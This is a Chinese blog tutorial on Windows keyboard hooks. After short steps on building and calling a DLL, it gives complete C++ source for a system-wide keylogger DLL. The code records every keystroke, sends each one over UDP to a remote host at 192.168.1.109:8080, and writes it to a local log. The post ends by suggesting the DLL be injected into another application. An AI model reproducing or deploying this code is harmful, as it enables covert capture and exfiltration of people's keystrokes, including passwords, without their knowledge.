我是靠谱客的博主 醉熏方盒,最近开发中收集的这篇文章主要介绍键盘钩子的实现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Part 1
需要实现键盘钩子,首先需要在windows下实现dll程序的编写。
打开vs -> 新建项目 -> win32项目 -> dll。
这里以实现一个加法函数为例:
这里写图片描述
这里写图片描述
这里写图片描述
然后生成解决方案即可。

Part 2
调用dll中的函数,这里以建立一个win32控制台项目来调用dll,且将调用函数的程序变为以.cpp结尾的文件名。
首先为dll中的函数建立一个头文件。
这里写图片描述
在调用程序中导入dll的静态库,以及包含我们建立的头文件。
这里写图片描述
将lib文件放在调用工程的源文件目录下,然后生成解决方案。
这里写图片描述
执行调用程序,将dll文件与调用程序放在同一目录下,执行即可。
这里写图片描述

Part 3
键盘钩子DLL的源代码,将每一个按键操作的虚拟键码发送给远程主机,采用了UDP的传输协议。

hookdll.project
hookdll.cpp

// hookdll.cpp : 定义 DLL 应用程序的导出函数。
#include "stdafx.h"
#include "pub.h"
#include<stdio.h>
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);
void strerror(DWORD errno);
void savelog(const char *s);
void send_udp(const char *s);
extern HMODULE hHookDll;
__declspec(dllexport) void WINAPI UnInstallLaunchEv()
{
    UnhookWindowsHookEx(Hook);
}
__declspec(dllexport) void WINAPI InstallLaunchEv()
{
    //得到dll的模块
    //HMODULE hHookDll = LoadLibrary("hookdll");
    //为系统安装键盘钩子
    Hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, hHookDll, 0);
    if (Hook == NULL)
    {
        //记录失败信息
        strerror(GetLastError());
    }
}
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    LRESULT Result = CallNextHookEx(Hook, nCode, wParam, lParam);
    if (nCode == HC_ACTION)
    {
        char buf[100];
        memset(buf, 0, sizeof(buf));
        //参数wParam为键盘扫描码
        sprintf_s(buf, "%u", wParam);
        //向远程主机发送udp消息
        send_udp(buf);
        memset(buf, 0, sizeof(buf));
        sprintf_s(buf, "%xt%ct%08xn", wParam, wParam, lParam);
        savelog(buf);
    }
    return Result;
}
void send_udp(const char *s)
{
    init_socket();
    SOCKET st = create_send_socket();
    send_work(st, "192.168.1.109", 8080, s);
    close_socket(st);
}
void savelog(const char *s)
{
    FILE *p;
    fopen_s(&p,"D:\my.log", "a+");
    fputs(s, p);
    fclose(p);
}
void strerror(DWORD errno)
{
    void *lpMsgBuf;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        errno,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (char *)&lpMsgBuf,
        0,
        NULL
        );
    savelog((const char *)lpMsgBuf);
    //free the buf
    LocalFree(lpMsgBuf);
}

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
//定义一个全局的HMODULE句柄供SetWindowHookEx函数使用
HMODULE hHookDll;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    hHookDll = hModule;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

pub.h

#pragma once
#include<winsock2.h>
#ifdef __CPLUSPLUS
extern "C" {
#endif
    int init_socket();
    void close_socket(SOCKET st);
    SOCKET create_send_socket();
    int send_work(SOCKET st,const char *hostname, int port, const char *s);
#ifdef __CPLUSPLUS
}
#endif

pub.cpp

#include "stdafx.h"
#include<stdio.h>
#include"pub.h"
#pragma comment(lib,"Ws2_32.lib")
int init_socket()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;
    wVersionRequested = MAKEWORD(1, 1);
    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0)
        return -1;
    if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
    {
        WSACleanup();
        return -1;
    }
    return 0;
}
void close_socket(SOCKET st)
{
    closesocket(st);
    WSACleanup();
}
SOCKET create_send_socket()
{
    SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);
    if (st == 0)
        return 0;
    return st;
}
int send_work(SOCKET st, const char *hostname, int port, const char *s)
{
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(hostname);
    size_t rc = sendto(st, s, strlen(s), 0, (struct sockaddr *)&addr, sizeof(addr));
    return rc;

}

然后只需要一个程序将安装钩子InstallLaunchEv和卸载钩子UnInstallLaunchEv函数调用起来即可,当然也可以通过dll注入的方式将其注入到一个应用程序之中,然后写一个UDP接收服务端即可。

最后

以上就是醉熏方盒为你收集整理的键盘钩子的实现的全部内容,希望文章能够帮你解决键盘钩子的实现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(44)

评论列表共有 0 条评论

立即
投稿
返回
顶部